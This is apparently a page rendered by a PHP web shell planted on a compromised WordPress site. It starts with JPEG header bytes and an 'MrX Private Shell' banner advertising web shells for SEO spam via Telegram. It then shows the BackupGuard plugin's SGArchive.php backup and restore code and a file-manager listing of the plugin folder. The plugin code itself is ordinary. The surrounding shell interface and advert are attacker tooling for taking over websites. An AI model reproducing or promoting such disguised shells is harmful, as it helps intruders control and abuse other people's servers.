����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
interface SGArchiveDelegate
{
public function getCorrectCdrFilename($filename);
public function didExtractFile($filePath);
public function didCountFilesInsideArchive($count);
public function didFindExtractError($error);
public function warn($message);
public function didExtractArchiveMeta($meta);
public function didStartRestoreFiles();
}
class SGArchive
{
const VERSION = 5;
const CHUNK_SIZE = 1048576; //1mb
private $filePath = '';
private $mode = '';
private $fileHandle = null;
private $cdrFileHandle = null;
private $cdrFilesCount = 0;
private $cdr = array();
private $fileOffset = 0;
private $delegate;
private $ranges = array();
private $state = null;
private $rangeCursor = 0;
private $cdrOffset = 0;
public function __construct($filePath, $mode, $cdrSize = 0)
{
$this->filePath = $filePath;
$this->mode = $mode;
$this->fileHandle = @fopen($filePath, $mode.'b');
$this->clear();
if ($cdrSize) {
$this->cdrFilesCount = $cdrSize;
}
if ($mode == 'a') {
$cdrPath = $filePath.'.cdr';
$this->cdrFileHandle = @fopen($cdrPath, $mode.'b');
}
}
public function setDelegate(SGArchiveDelegate $delegate)
{
$this->delegate = $delegate;
}
public function getCdrFilesCount()
{
return $this->cdrFilesCount;
}
public function addFileFromPath($filename, $path)
{
$headerSize = 0;
$len = 0;
$zlen = 0;
$start = 0;
$fp = fopen($path, 'rb');
$fileSize = backupGuardRealFilesize($path);
$state = $this->delegate->getState();
$offset = $state->getOffset();
if (!$state->getInprogress()) {
$headerSize = $this->addFileHeader();
}
else{
$headerSize = $state->getHeaderSize();
$this->fileOffset = $state->getFileOffsetInArchive();
}
$this->ranges = $state->getRanges();
if (count($this->ranges)) {
$range = end($this->ranges); //get last range of file
$start += $range['start'] + $range['size'];
$zlen = $start; // get file compressed size before reload
}
fseek($fp, $offset); // move to point before reload
//read file in small chunks
while ($offset < $fileSize)
{
$data = fread($fp, self::CHUNK_SIZE);
if ($data === '') {
//When fread fails to read and compress on fly
if ($zlen == 0 && $fileSize != 0 && strlen($data) == 0) {
$this->delegate->warn('Failed to read file: '.basename($filename));
}
break;
}
$data = gzdeflate($data);
$zlen += strlen($data);
$sgArchiveSize = backupGuardRealFilesize($this->filePath);
$sgArchiveSize += strlen($data);
if($sgArchiveSize > SG_ARCHIVE_MAX_SIZE_32) {
SGBoot::checkRequirement('intSize');
}
$this->write($data);
array_push($this->ranges, array(
'start' => $start,
'size' => strlen($data)
));
$offset = ftell($fp);
$start += strlen($data);
SGPing::update();
$shouldReload = $this->delegate->shouldReload();
if ($shouldReload) {
$this->delegate->saveStateData(SG_STATE_ACTION_COMPRESSING_FILES, $this->ranges, $offset, $headerSize, true, $this->fileOffset);
if (backupGuardIsReloadEnabled()) {
@fclose($fp);
@fclose($this->fileHandle);
@fclose($this->cdrFileHandle);
$this->delegate->reload();
}
}
}
if ($state->getInprogress()) {
$headerSize = $state->getHeaderSize();
}
SGPing::update();
fclose($fp);
$this->addFileToCdr($filename, $zlen, $len, $headerSize);
}
public function addFile($filename, $data)
{
$headerSize = $this->addFileHeader();
if ($data)
{
$data = gzdeflate($data);
$this->write($data);
}
$zlen = strlen($data);
$len = 0;
$this->addFileToCdr($filename, $zlen, $len, $headerSize);
}
private function addFileHeader()
{
//save extra
$extra = '';
$extraLengthInBytes = 4;
$this->write($this->packToLittleEndian(strlen($extra), $extraLengthInBytes).$extra);
return $extraLengthInBytes+strlen($extra);
}
private function addFileToCdr($filename, $zlen, $len, $headerSize)
{
//store cdr data for later use
$this->addToCdr($filename, $zlen, $len);
$this->fileOffset += $headerSize + $zlen;
}
public function finalize()
{
$this->addFooter();
fclose($this->fileHandle);
$this->clear();
}
private function addFooter()
{
$footer = '';
//save version
$footer .= $this->packToLittleEndian(self::VERSION, 1);
$tables = SGConfig::get('SG_BACKUPED_TABLES');
if ($tables) {
$table = json_encode($tables);
}
else {
$tables = "";
}
$multisitePath = "";
$multisiteDomain = "";
if (SG_ENV_ADAPTER == SG_ENV_WORDPRESS) {
// in case of multisite save old path and domain for later usage
if (is_multisite()) {
$multisitePath = PATH_CURRENT_SITE;
$multisiteDomain = DOMAIN_CURRENT_SITE;
}
}
//save db prefix, site and home url for later use
$extra = json_encode(array(
'siteUrl' => get_site_url(),
'home' => get_home_url(),
'dbPrefix' => SG_ENV_DB_PREFIX,
'tables' => $tables,
'method' => SGConfig::get('SG_BACKUP_TYPE'),
'multisitePath' => $multisitePath,
'multisiteDomain' => $multisiteDomain,
'selectivRestoreable' => true,
'phpVersion' => phpversion()
));
//extra size
$footer .= $this->packToLittleEndian(strlen($extra), 4).$extra;
//save cdr size
$footer .= $this->packToLittleEndian($this->cdrFilesCount, 4);
$this->write($footer);
//save cdr
$cdrLen = $this->writeCdr();
//save offset to the start of footer
$len = $cdrLen+strlen($extra)+13;
$this->write($this->packToLittleEndian($len, 4));
}
private function writeCdr()
{
@fclose($this->cdrFileHandle);
$cdrLen = 0;
$fp = @fopen($this->filePath.'.cdr', 'rb');
while (!feof($fp))
{
$data = fread($fp, self::CHUNK_SIZE);
$cdrLen += strlen($data);
$this->write($data);
}
@fclose($fp);
@unlink($this->filePath.'.cdr');
return $cdrLen;
}
private function clear()
{
$this->cdr = array();
$this->fileOffset = 0;
$this->cdrFilesCount = 0;
}
private function addToCdr($filename, $compressedLength, $uncompressedLength)
{
$rec = $this->packToLittleEndian(0, 4); //crc (not used in this version)
$rec .= $this->packToLittleEndian(strlen($filename), 2);
$rec .= $filename;
// file offset, compressed length, uncompressed length all are writen in 8 bytes to cover big integer size
$rec .= $this->packToLittleEndian($this->fileOffset, 8);
$rec .= $this->packToLittleEndian($compressedLength, 8);
$rec .= $this->packToLittleEndian($uncompressedLength, 8); //uncompressed size (not used in this version)
$rec .= $this->packToLittleEndian(count($this->ranges), 4);
foreach ($this->ranges as $range) {
// start and size all are writen in 8 bytes to cover big integer size
$rec .= $this->packToLittleEndian($range['start'], 8);
$rec .= $this->packToLittleEndian($range['size'], 8);
}
fwrite($this->cdrFileHandle, $rec);
fflush($this->cdrFileHandle);
$this->cdrFilesCount++;
}
private function isEnoughFreeSpaceOnDisk($dataSize)
{
$freeSpace = @disk_free_space(SG_APP_ROOT_DIRECTORY);
if ($freeSpace === false || $freeSpace === null) {
return true;
}
if ($freeSpace < $dataSize) {
return false;
}
return true;
}
private function write($data)
{
$isEnoughFreeSpaceOnDisk = $this->isEnoughFreeSpaceOnDisk(strlen($data));
if (!$isEnoughFreeSpaceOnDisk) {
throw new SGExceptionIO('Failed to write in the archive due to not sufficient disk free space.');
}
$result = fwrite($this->fileHandle, $data);
if ($result === FALSE) {
throw new SGExceptionIO('Failed to write in archive');
}
fflush($this->fileHandle);
}
private function read($length)
{
$result = fread($this->fileHandle, $length);
if ($result === FALSE) {
throw new SGExceptionIO('Failed to read from archive');
}
return $result;
}
private function packToLittleEndian($value, $size = 4)
{
if (is_int($value))
{
$size *= 2; //2 characters for each byte
$value = str_pad(dechex($value), $size, '0', STR_PAD_LEFT);
return strrev(pack('H'.$size, $value));
}
$hex = str_pad($value->toHex(), 16, '0', STR_PAD_LEFT);
$high = substr($hex, 0, 8);
$low = substr($hex, 8, 8);
$high = strrev(pack('H8', $high));
$low = strrev(pack('H8', $low));
return $low.$high;
}
public function getArchiveHeaders()
{
return $this->extractHeaders();
}
public function getFilesList()
{
$list = array();
$cdrSize = hexdec($this->unpackLittleEndian($this->read(4), 4));
$this->cdrOffset = ftell($this->fileHandle);
for($i = 0; $i < $cdrSize; $i++) {
$el = $this->getNextCdrElement($this->cdrOffset);
array_push($list, $el[0]);
}
return $list;
}
public function getTreefromList($list, $limit = "")
{
$tree = array();
if(end($list) == "./sql") {
array_pop($list);
}
for($i=0; $i < count($list); $i++) {
if(!backupGuardStringStartsWith($list[$i], $limit)) {
continue;
}
$path = substr($list[$i], strlen($limit));
$path = explode(DIRECTORY_SEPARATOR, $path);
$exists = false;
foreach($tree as $el) {
if ($path[0] == $el->name) {
$exists = true;
break;
}
}
if(!$exists) {
$node = new stdClass();
$node->name = $path[0];
if(count($path) > 1){
$node->type = "folder";
}else{
$node->type = "file";
}
array_push($tree,$node);
}
}
return $tree;
}
public function extractTo($destinationPath, $state = null)
{
$this->state = $state;
$action = $state->getAction();
if ($action == SG_STATE_ACTION_PREPARING_STATE_FILE) {
$this->extract($destinationPath);
}
else {
$this->continueExtract($destinationPath);
}
}
private function extractHeaders()
{
//read offset
fseek($this->fileHandle, -4, SEEK_END);
$offset = hexdec($this->unpackLittleEndian($this->read(4), 4));
//read version
fseek($this->fileHandle, -$offset, SEEK_END);
$version = hexdec($this->unpackLittleEndian($this->read(1), 1));
SGConfig::set('SG_CURRENT_ARCHIVE_VERSION', $version);
//read extra size (not used in this version)
$extraSize = hexdec($this->unpackLittleEndian($this->read(4), 4));
//read extra
$extra = array();
if ($extraSize > 0) {
$extra = $this->read($extraSize);
$extra = json_decode($extra, true);
SGConfig::set('SG_OLD_SITE_URL', $extra['siteUrl']);
SGConfig::set('SG_OLD_DB_PREFIX', $extra['dbPrefix']);
if (isset($extra['phpVersion'])) {
SGConfig::set('SG_OLD_PHP_VERSION', $extra['phpVersion']);
}
SGConfig::set('SG_BACKUPED_TABLES', $extra['tables']);
SGConfig::set('SG_BACKUP_TYPE', $extra['method']);
SGConfig::set('SG_MULTISITE_OLD_PATH', $extra['multisitePath']);
SGConfig::set('SG_MULTISITE_OLD_DOMAIN', $extra['multisiteDomain']);
}
$extra['version'] = $version;
return $extra;
}
private function extract($destinationPath)
{
$extra = $this->extractHeaders();
$version = $extra['version'];
$this->delegate->didExtractArchiveMeta($extra);
$isMultisite = backupGuardIsMultisite();
$archiveIsMultisite = $extra['multisitePath'] != '' || $extra['multisiteDomain'] != '';
if (SG_ENV_ADAPTER == SG_ENV_WORDPRESS) {
if ($archiveIsMultisite && !$isMultisite) {
throw new SGExceptionMigrationError("In order to restore this archive you should set up Multisite WordPress!");
}
elseif (!$archiveIsMultisite && $isMultisite) {
throw new SGExceptionMigrationError("In order to restore this archive you should set up a Standard instead of Multisite WordPress!");
}
}
if ($version >= SG_MIN_SUPPORTED_ARCHIVE_VERSION && $version <= SG_MAX_SUPPORTED_ARCHIVE_VERSION) {
if( !SGBoot::isFeatureAvailable('BACKUP_WITH_MIGRATION') ) {
if ($extra['method'] != SG_BACKUP_METHOD_MIGRATE) {
if ($extra['siteUrl'] == SG_SITE_URL) {
if ($extra['dbPrefix'] != SG_ENV_DB_PREFIX) {
throw new SGException("Seems you have changed database prefix. You should keep it constant to be able to restore this backup. Setup your WordPress installation with ".$extra['dbPrefix']." datbase prefix.");
}
}
else {
throw new SGExceptionMigrationError("You should install <b>BackupGuard Pro</b> to be able to migrate the website. More detailed information regarding features included in <b>Free</b> and <b>Pro</b> versions you can find here: <a href='".SG_BACKUP_SITE_URL."'>".SG_BACKUP_SITE_URL."</a>");
}
}
else {
throw new SGExceptionMigrationError("You should install <b>BackupGuard Pro</b> to be able to restore a package designed for migration.More detailed information regarding features included in <b>Free</b> and <b>Pro</b> versions you can find here: <a href='".SG_BACKUP_SITE_URL."'>".SG_BACKUP_SITE_URL."</a>");
}
}
}
else {
throw new SGExceptionBadRequest('Invalid SGArchive file');
}
//read cdr size
$this->cdrFilesCount = hexdec($this->unpackLittleEndian($this->read(4), 4));
$this->delegate->didStartRestoreFiles();
$this->delegate->didCountFilesInsideArchive($this->cdrFilesCount);
// $this->extractCdr($cdrSize, $destinationPath);
$this->cdrOffset = ftell($this->fileHandle);
$this->extractFiles($destinationPath);
}
private function continueExtract($destinationPath)
{
$this->fileOffset = $this->state->getOffset();
fseek($this->fileHandle, $this->fileOffset);
$this->extractFiles($destinationPath);
}
private function getNextCdrElement($offset)
{
fseek($this->fileHandle, $this->cdrOffset);
//read crc (not used in this version)
$this->read(4);
//read filename
$filenameLen = hexdec($this->unpackLittleEndian($this->read(2), 2));
$filename = $this->read($filenameLen);
$filename = $this->delegate->getCorrectCdrFilename($filename);
//read file offset
$fileOffsetInArchive = $this->unpackLittleEndian($this->read(8), 8);
$fileOffsetInArchive = hexdec($fileOffsetInArchive);
//read compressed length
$zlen = $this->unpackLittleEndian($this->read(8), 8);
$zlen = hexdec($zlen);
//read uncompressed length (not used in this version)
$this->read(8);
$rangeLen = hexdec($this->unpackLittleEndian($this->read(4), 4));
$ranges = array();
for ($i=0; $i < $rangeLen; $i++) {
$start = $this->unpackLittleEndian($this->read(8), 8);
$start = hexdec($start);
$size = $this->unpackLittleEndian($this->read(8), 8);
$size = hexdec($size);
$ranges[] = array(
'start' => $start,
'size' => $size
);
}
$this->cdrOffset = ftell($this->fileHandle);
return array($filename, $zlen, $ranges, $fileOffsetInArchive);
}
private function extractFiles($destinationPath)
{
$action = $this->state->getAction();
if ($action == SG_STATE_ACTION_PREPARING_STATE_FILE) {
$inprogress = false;
fseek($this->fileHandle, 0, SEEK_SET);
}
else {
$inprogress = $this->state->getInprogress();
$this->cdrFilesCount = $this->state->getCdrSize();
$this->cdrOffset = $this->state->getCdrCursor();
}
$sqlFileEnding = $this->state->getBackupFileName().'/'.$this->state->getBackupFileName().'.sql';
$restoreMode = $this->state->getRestoreMode();
$restoreFiles = $this->state->getRestoreFiles();
while ($this->cdrFilesCount) {
$warningFoundDuringExtract = false;
if ($inprogress) {
$row = $this->state->getCdr();
}
else {
$row = $this->getNextCdrElement($this->cdrOffset);
fseek($this->fileHandle, $this->fileOffset);
//read extra (not used in this version)
$this->read(4);
}
$path = $destinationPath . $row[0];
$path = str_replace('\\', '/', $path);
$restoreCurrentFile = false;
if ($restoreMode == SG_RESTORE_MODE_FILES && $restoreFiles != NULL && count($restoreFiles) > 0) {
for ($j = 0; $j < count($restoreFiles); $j++) {
if ($restoreFiles[$j] == "/" || backupGuardStringStartsWith($row[0], $restoreFiles[$j])) {
$restoreCurrentFile = true;
break;
}
}
}
// check if file should be restored according restore mode selected by user
if($restoreMode == SG_RESTORE_MODE_FULL || ($restoreMode == SG_RESTORE_MODE_DB && backupGuardStringEndsWith($path,$sqlFileEnding)) || ($restoreMode == SG_RESTORE_MODE_FILES && !backupGuardStringEndsWith($path,$sqlFileEnding) && $restoreCurrentFile)) {
if ($path[strlen($path) - 1] != '/') {//it's not an empty directory
$path = dirname($path);
}
if (!$inprogress) {
if (!$this->createPath($path)) {
$ranges = $row[2];
//get last range of file
$range = end($ranges);
$offset = $range['start'] + $range['size'];
// skip file and continue
fseek($this->fileHandle, $offset, SEEK_CUR);
$this->delegate->didFindExtractError('Could not create directory: ' . dirname($path));
continue;
}
}
$path = $destinationPath . $row[0];
$tmpPath = $path . ".sgbpTmpFile";
if (!$inprogress) {
$this->delegate->didStartExtractFile($path);
if (!is_writable(dirname($tmpPath))) {
$this->delegate->didFindExtractError('Destination path is not writable: ' . dirname($path));
}
}
if (!$inprogress) {
$tmpFp = @fopen($tmpPath, 'wb');
}
else {
$tmpFp = @fopen($tmpPath, 'ab');
}
$zlen = $row[1];
SGPing::update();
$ranges = $row[2];
if ($inprogress) {
$this->rangeCursor = $this->state->getRangeCursor();
}
else {
$this->rangeCursor = 0;
}
for ($i = $this->rangeCursor; $i < count($ranges); $i++) {
$start = $ranges[$i]['start'];
$size = $ranges[$i]['size'];
$data = $this->read($size);
$data = gzinflate($data);
//If gzinflate() failed to uncompress, skip the current file and continue extraction
if (!$data) {
$warningFoundDuringExtract = true;
$this->delegate->didFindExtractError('Failed to extract path: ' . $path);
//Assume we've extracted the current file
for ($idx = $i + 1; $idx < count($ranges); $idx++) {
$start = $ranges[$idx]['start'];
$size = $ranges[$idx]['size'];
fseek($this->fileHandle, $size, SEEK_CUR);
}
$inprogress = false;
@fclose($tmpFp);
SGPing::update();
break;
}
else {
$inprogress = true;
if (($i + 1) == count($ranges)) {
$inprogress = false;
}
if (is_resource($tmpFp)) {
$isEnoughFreeSpaceOnDisk = $this->isEnoughFreeSpaceOnDisk(strlen($data));
if (!$isEnoughFreeSpaceOnDisk) {
throw new SGExceptionIO('Failed to write in the archive due to not sufficient disk free space.');
}
fwrite($tmpFp, $data);
fflush($tmpFp);
$shouldReload = $this->delegate->shouldReload();
//restore with reloads will only work in external mode
if ($shouldReload && SGExternalRestore::isEnabled()) {
if (!$inprogress) {
$this->cdrFilesCount--;
@rename($tmpPath, $path);
$this->delegate->didExtractFile($path);
}
$token = $this->delegate->getToken();
$progress = $this->delegate->getProgress();
$this->fileOffset = ftell($this->fileHandle);
$this->state->setRestoreMode($restoreMode);
$this->state->setOffset($this->fileOffset);
$this->state->setInprogress($inprogress);
$this->state->setToken($token);
$this->state->setProgress($progress);
$this->state->setAction(SG_STATE_ACTION_RESTORING_FILES);
$this->state->setRangeCursor($i + 1);
$this->state->setCdr($row);
$this->state->setCdrSize($this->cdrFilesCount);
$this->state->setCdrCursor($this->cdrOffset);
$this->state->save();
SGPing::update();
@fclose($tmpFp);
@fclose($this->fileHandle);
$this->delegate->reload();
}
}
}
SGPing::update();
}
if (is_resource($tmpFp)) {
@fclose($tmpFp);
}
if (!$warningFoundDuringExtract) {
@rename($tmpPath, $path);
}
else {
@unlink($tmpPath);
}
$this->delegate->didExtractFile($path);
$this->fileOffset = ftell($this->fileHandle);
}
else {
//if file should not be restored skip it and go to the next file
$ranges = $row[2];
for ($idx = 0; $idx < count($ranges); $idx++) {
$size = $ranges[$idx]['size'];
fseek($this->fileHandle, $size, SEEK_CUR);
}
$this->fileOffset = ftell($this->fileHandle);
}
$this->cdrFilesCount--;
}
}
private function unpackLittleEndian($data, $size)
{
$size *= 2; //2 characters for each byte
$data = unpack('H'.$size, strrev($data));
return $data[1];
}
private function createPath($path)
{
if (is_dir($path)) return true;
$prev_path = substr($path, 0, strrpos($path, '/', -2) + 1);
$return = $this->createPath($prev_path);
if ($return && is_writable($prev_path))
{
if (!@mkdir($path)) return false;
@chmod($path, 0777);
return true;
}
return false;
}
public function getVersion()
{
//read offset
fseek($this->fileHandle, -4, SEEK_END);
$offset = hexdec($this->unpackLittleEndian($this->read(4), 4));
//read version
fseek($this->fileHandle, -$offset, SEEK_END);
$version = hexdec($this->unpackLittleEndian($this->read(1), 1));
return $version;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| BackupGuard | Folder | 0755 |
|
|
| Dropbox | Folder | 0755 |
|
|
| Request | Folder | 0755 |
|
|
| SGArchive.php | File | 21.39 KB | 0644 |
|
| SGAuthClient.php | File | 6.68 KB | 0644 |
|
| SGCallback.php | File | 870 B | 0644 |
|
| SGCdrEntry.php | File | 1.01 KB | 0644 |
|
| SGCharsetHandler.php | File | 2.37 KB | 0644 |
|
| SGDBState.php | File | 2.95 KB | 0644 |
|
| SGEntry.php | File | 155 B | 0644 |
|
| SGFileEntry.php | File | 917 B | 0644 |
|
| SGFileState.php | File | 4.42 KB | 0644 |
|
| SGMigrateState.php | File | 1.17 KB | 0644 |
|
| SGMysqldump.php | File | 45.07 KB | 0644 |
|
| SGReloadHandler.php | File | 804 B | 0644 |
|
| SGReloader.php | File | 2.27 KB | 0644 |
|
| SGReloaderState.php | File | 1.2 KB | 0644 |
|
| SGReviewManager.php | File | 12.04 KB | 0644 |
|
| SGState.php | File | 3.21 KB | 0644 |
|
| SGStatsRequests.php | File | 1.81 KB | 0644 |
|
| SGUploadHandler.php | File | 905 B | 0644 |
|
| SGUploadState.php | File | 4.04 KB | 0644 |
|